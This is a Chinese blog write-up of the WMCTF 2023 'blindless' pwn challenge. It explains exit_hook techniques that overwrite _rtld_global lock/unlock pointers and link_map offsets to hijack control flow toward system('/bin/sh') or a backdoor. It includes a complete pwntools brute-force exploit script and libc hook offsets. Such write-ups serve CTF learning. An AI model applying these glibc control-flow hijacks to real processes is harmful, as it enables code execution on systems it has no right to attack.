wmctf的题解&blindless&exit_hook
0x00 好久不见
2023.8.25 夜里
wmctf2023也是一个收获很大的比赛。只做了一个blindless,但是体会到了无泄露做出题来的奥妙。踩过的坑(学到的东西)包括但不限于
| 调试要用docker,不然没符号表很痛苦 | 有想法一定要及时记下来,很有可能是解题重点 |
| exit_hook的n种姿势(下面记录一下) | test edx,edx je是判断是否为0跳转…… |
总而言之,越痛苦学到的东西越多。一定做题要保持清醒,好好休息。(这次真是把exit看烂掉了哈哈哈哈哈哈)
0x01 思维
分析要有:动态调试分析,静态分析,运行分析还有源码分析。全都有才是最好的。
0x02 exit_hook的n种姿势

基地址丢这里你们参考一下。
首先是p &_rtld_global(看地址),他有一个unlock和lock的参数可以改来调用。
注意一定要用docker或者虚拟机,否则没有符号表会特别坐牢!
exit_hook2libc
执行p _rtld_global。看到那两个lock和unlock吗,就是他们两个,可以当exithook进行调用,可以改他们的内容。把后面的东西复制过来p &xxx就可以查看地址了。修改这两个地址的的内容为哪儿,这里就会call哪儿。

注意看,这个程序叫小帅,他调用的第一个参数就是rdi来着,是_rtld_global+2312,我们可以控制他的参数为/bin/sh\x00然后做坏坏的事情(如果能把lock也改成system的话)。

然后unlock的参数也是2312这个偏移。

好的,我们就修改这两个地方就可以为所欲为了,但是exithook到这里还没完。
还有更骚的,可以控制到程序上的地址(直接跳转,或者间接取地址跳转。)
exit_hook2elf
1.间接call
这个在这里,第一个是间接call,可以修改他的偏移到任意函数got表,然后配合参数rdi偏移2312使用。这个的基地址和偏移是存在于link_map的。

这样可以找到他的地址。调试可以看到他会从这里取基地址。

然后加上偏移。我们可以改基地址也可以选择改偏移。link_map地址+0x110是存第一个间接call的偏移的。注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8)

link_map地址+0xa8是存第二个直接call的偏移(注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8)。

2.直接call
嗯,不过如果改偏移的话能改最好,还能直接形成调用链子。但是如果没有偏移,就只能改基地址了——也就是p &l出来那儿。但是这样肯定会损坏第一次call r14的,会导致无法正常进行。结果发现有一个地方判断可以跳过call r14。

就是这里,test edx,edx是edx和edx相互and,留下标志位。简单来说就是如果是0,那么不跳转。如果是1,那么跳转。
在x86汇编中,
je指令的作用是:
- 检查零标志位(ZF)是否被设置为 1。
- 如果零标志位被设置为 1,将进行跳转到指定的目标位置。
回溯发现是从link_map+0x120取来的地址,也就是说想要这里为0,就把那里的地址指向为0的地方即可!

完成这个操作,就可以修改基地址达到任意直接call的效果了!如果没有泄露,则直接返回到程序上(比如此题有后门)。如果有,那就是为所欲为!(和前面一样,如果有泄露真的就是为所欲为了)。
0x03 exp
from pwn import *
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
rl = lambda :p.recvline()
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
while True:
context(os='linux', arch='amd64', log_level='debug')
p = process('./main')
context.terminal = ['tmux','new-window' ,'-n','-c']
#gdb.attach(p)
sla('ze',b'-10')#分配到libc上(用mmap)
sla('ze',b'256')
pay = b'@'+p32(2148618432)#到ld的地址+0x2f190的偏移
pay += b'@'+p32(2148618432)
pay +=b'.' + b'\xb1'
pay += b'>.' + b'\x7c'#使得加了偏移之后是后门函数地址
pay += b'@'+p32(0x11f)#修改0x120的地址,指向0,跳过call r14
pay +=b'.' + b'\x00'
pay += b'q'
sla('code\n',pay)
re = p.recvrepeat(0.1)#一直接收直到有回显
#如果是system的话可以发一个cat flag再这样
#这是个很好的爆破方式,学习学习
if re:
print('pwned!get your flag here:',re)
exit(0)
p.close()

0x04 尾声
明天蓝帽杯了,祝我好运。nep的题目也可以再复现复现其实。
感谢星盟安全团队的wp:https://mp.weixin.qq.com/s/J8ZbppDee4yw2QJs85qdYQ
0x05 附录
2.31 libc到hook的地址为 hook = 0x222f68+base
2.27 中 hook = base+0x619f68
wmctf的题解&blindless&exit_hook的更多相关文章
- 2016 华南师大ACM校赛 SCNUCPC 非官方题解
我要举报本次校赛出题人的消极出题!!! 官方题解请戳:http://3.scnuacm2015.sinaapp.com/?p=89(其实就是一堆代码没有题解) A. 树链剖分数据结构板题 题目大意:我 ...
- noip2016十连测题解
以下代码为了阅读方便,省去以下头文件: #include <iostream> #include <stdio.h> #include <math.h> #incl ...
- BZOJ-2561-最小生成树 题解(最小割)
2561: 最小生成树(题解) Time Limit: 10 Sec Memory Limit: 128 MBSubmit: 1628 Solved: 786 传送门:http://www.lyd ...
- Codeforces Round #353 (Div. 2) ABCDE 题解 python
Problems # Name A Infinite Sequence standard input/output 1 s, 256 MB x3509 B Restoring P ...
- 哈尔滨理工大学ACM全国邀请赛(网络同步赛)题解
题目链接 提交连接:http://acm-software.hrbust.edu.cn/problemset.php?page=5 1470-1482 只做出来四道比较水的题目,还需要加强中等题的训练 ...
- 2016ACM青岛区域赛题解
A.Relic Discovery_hdu5982 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Jav ...
- poj1399 hoj1037 Direct Visibility 题解 (宽搜)
http://poj.org/problem?id=1399 http://acm.hit.edu.cn/hoj/problem/view?id=1037 题意: 在一个最多200*200的minec ...
- 网络流n题 题解
学会了网络流,就经常闲的没事儿刷网络流--于是乎来一发题解. 1. COGS2093 花园的守护之神 题意:给定一个带权无向图,问至少删除多少条边才能使得s-t最短路的长度变长. 用Dijkstra或 ...
- CF100965C题解..
求方程 \[ \begin{array}\\ \sum_{i=1}^n x_i & \equiv & a_1 \pmod{p} \\ \sum_{i=1}^n x_i^2 & ...
- JSOI2016R3 瞎BB题解
题意请看absi大爷的blog http://absi2011.is-programmer.com/posts/200920.html http://absi2011.is-programmer.co ...
随机推荐
- 在Chrome中安装扩展程序
场景:在Chrome中安装NetBeans Connector插件,将下载好的crx文件拖到扩展程序页面时,发现该插件并没有安装成功. 分析:浏览器默认禁用了拖入安装 .crx 扩展的功能,导致crx ...
- jvisualm 结合 visualGC 进行jvm监控,并分析垃圾回收
本文为博主原创,未经允许不得转载 1.jvisualm 的使用 打开 jdk 安装目录bin目录下的 jvisualvm.exe 工具 2. visual GC插件的安装及监控分析 Visual GC ...
- HanLP — 感知机(Perceptron)
感知机(Perceptron)是一个二类分类的线性分类模型,属于监督式学习算法.最终目的: 将不同的样本分本 感知机饮食了多个权重参数,输入的特征向量先是和对应的权重相乘,再加得到的积相加,然后将加权 ...
- 【TouchGFX】屏幕概念
Screen构成 界面布局 View, 逻辑处理 Presenter Currently Active Screen 因TouchGFX分配内存的的方式是,按照最大的Screen分配,即最大View+ ...
- [转帖]nginx 日志打印响应时间 request_time 和 upstream_response_time
https://www.cnblogs.com/chooperman/p/14722450.html 设置log_format,添加request_time,$upstream_response_ti ...
- Grafana监控minio的极简方法
Grafana监控minio的极简方法 背景 想监控一下minio的部分信息. 使用过程中需要关注的内容挺多的. 只看简单的node感觉已经不够了. 所以想监控易一下. 方式和方法 minio其实集成 ...
- [转帖]《Linux性能优化实战》笔记(21)—— 网络性能优化思路
一. 确定优化目标 优化前,我会先问问自己,网络性能优化的目标是什么?实际上,虽然网络性能优化的整体目标,是降低网络延迟(如 RTT)和提高吞吐量(如BPS 和 PPS),但具体到不同应用中,每个指标 ...
- [转帖]Linux权限详解(chmod、600、644、666、700、711、755、777、4755、6755、7755)
https://www.cnblogs.com/monjeo/p/12191673.html 权限简介Linux系统上对文件的权限有着严格的控制,用于如果相对某个文件执行某种操作,必须具有对应的权限方 ...
- [转帖]GC日志分析工具——GCViewer案例
原创 石页粑粑 来自zxsk的码农 2020-09-28 06:18 一.GCViewer介绍 业界较为流行分析GC日志的两个工具--GCViewer.GCEasy.GCEasy部分功能还是要收费的, ...
- [转帖]Linux中最全shell命令&常用注意事项
在编辑linux脚本中不断的会用到复杂的脚本编辑,写文章记录. Linux命令大全(手册) – 真正好用的Linux命令在线查询网站 目录 推荐书籍: Linux常用命令 Linux 常用命令 在li ...